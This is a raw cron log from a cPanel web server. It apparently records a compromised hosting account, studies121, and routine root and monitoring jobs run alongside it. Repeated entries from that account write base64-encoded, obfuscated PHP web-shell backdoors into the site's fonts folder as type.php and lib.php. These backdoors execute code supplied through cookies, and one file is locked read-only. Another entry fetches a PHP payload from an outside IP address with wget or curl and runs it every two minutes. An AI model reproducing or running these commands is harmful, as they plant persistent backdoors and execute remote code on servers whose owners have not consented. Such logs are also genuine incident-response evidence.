Sep 11 06:09:01 ip-184-168-122-23 CROND[14185]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 06:09:01 ip-184-168-122-23 CROND[14184]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 06:10:01 ip-184-168-122-23 CROND[14288]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 06:10:01 ip-184-168-122-23 CROND[14290]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 06:10:01 ip-184-168-122-23 CROND[14293]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 06:10:01 ip-184-168-122-23 CROND[14292]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 06:10:01 ip-184-168-122-23 CROND[14296]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 06:10:01 ip-184-168-122-23 CROND[14295]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 06:10:01 ip-184-168-122-23 CROND[14291]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 06:10:01 ip-184-168-122-23 CROND[14294]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 06:11:01 ip-184-168-122-23 CROND[14430]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 06:11:01 ip-184-168-122-23 CROND[14434]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 06:11:01 ip-184-168-122-23 CROND[14436]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 06:11:01 ip-184-168-122-23 CROND[14437]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 06:12:01 ip-184-168-122-23 CROND[14626]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 06:12:01 ip-184-168-122-23 CROND[14629]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 06:12:01 ip-184-168-122-23 CROND[14628]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 06:12:01 ip-184-168-122-23 CROND[14631]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 06:12:01 ip-184-168-122-23 CROND[14630]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 06:13:01 ip-184-168-122-23 CROND[14732]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 06:13:01 ip-184-168-122-23 CROND[14731]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 06:13:01 ip-184-168-122-23 CROND[14734]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 06:13:01 ip-184-168-122-23 CROND[14736]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 06:14:02 ip-184-168-122-23 CROND[14853]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 06:14:02 ip-184-168-122-23 CROND[14856]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 06:14:02 ip-184-168-122-23 CROND[14857]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 06:14:02 ip-184-168-122-23 CROND[14855]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 06:14:02 ip-184-168-122-23 CROND[14858]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 06:15:01 ip-184-168-122-23 CROND[14983]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 06:15:01 ip-184-168-122-23 CROND[14986]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 06:15:01 ip-184-168-122-23 CROND[14985]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 06:15:01 ip-184-168-122-23 CROND[14988]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 06:15:01 ip-184-168-122-23 CROND[14987]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Sep 11 06:15:01 ip-184-168-122-23 CROND[14989]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 06:15:01 ip-184-168-122-23 CROND[14990]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 06:15:01 ip-184-168-122-23 CROND[14992]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep 11 06:16:01 ip-184-168-122-23 CROND[15149]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 06:16:01 ip-184-168-122-23 CROND[15151]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 06:16:01 ip-184-168-122-23 CROND[15153]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 06:16:01 ip-184-168-122-23 CROND[15154]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 06:16:01 ip-184-168-122-23 CROND[15157]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 06:16:01 ip-184-168-122-23 CROND[15155]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 06:17:02 ip-184-168-122-23 CROND[15320]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 06:17:02 ip-184-168-122-23 CROND[15322]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 06:17:02 ip-184-168-122-23 CROND[15323]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 06:17:02 ip-184-168-122-23 CROND[15324]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 06:18:01 ip-184-168-122-23 CROND[15451]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 06:18:01 ip-184-168-122-23 CROND[15453]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 06:18:01 ip-184-168-122-23 CROND[15454]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 06:18:01 ip-184-168-122-23 CROND[15455]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 06:18:01 ip-184-168-122-23 CROND[15456]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 06:19:01 ip-184-168-122-23 CROND[15576]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 06:19:01 ip-184-168-122-23 CROND[15579]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 06:19:02 ip-184-168-122-23 CROND[15578]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 06:19:02 ip-184-168-122-23 CROND[15582]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 06:20:01 ip-184-168-122-23 CROND[15697]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 06:20:01 ip-184-168-122-23 CROND[15699]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 06:20:01 ip-184-168-122-23 CROND[15704]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 06:20:02 ip-184-168-122-23 CROND[15702]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 06:20:02 ip-184-168-122-23 CROND[15703]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 06:20:02 ip-184-168-122-23 CROND[15705]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 06:20:02 ip-184-168-122-23 CROND[15701]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 06:20:02 ip-184-168-122-23 CROND[15707]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 06:20:02 ip-184-168-122-23 CROND[15708]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 06:21:02 ip-184-168-122-23 CROND[15846]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
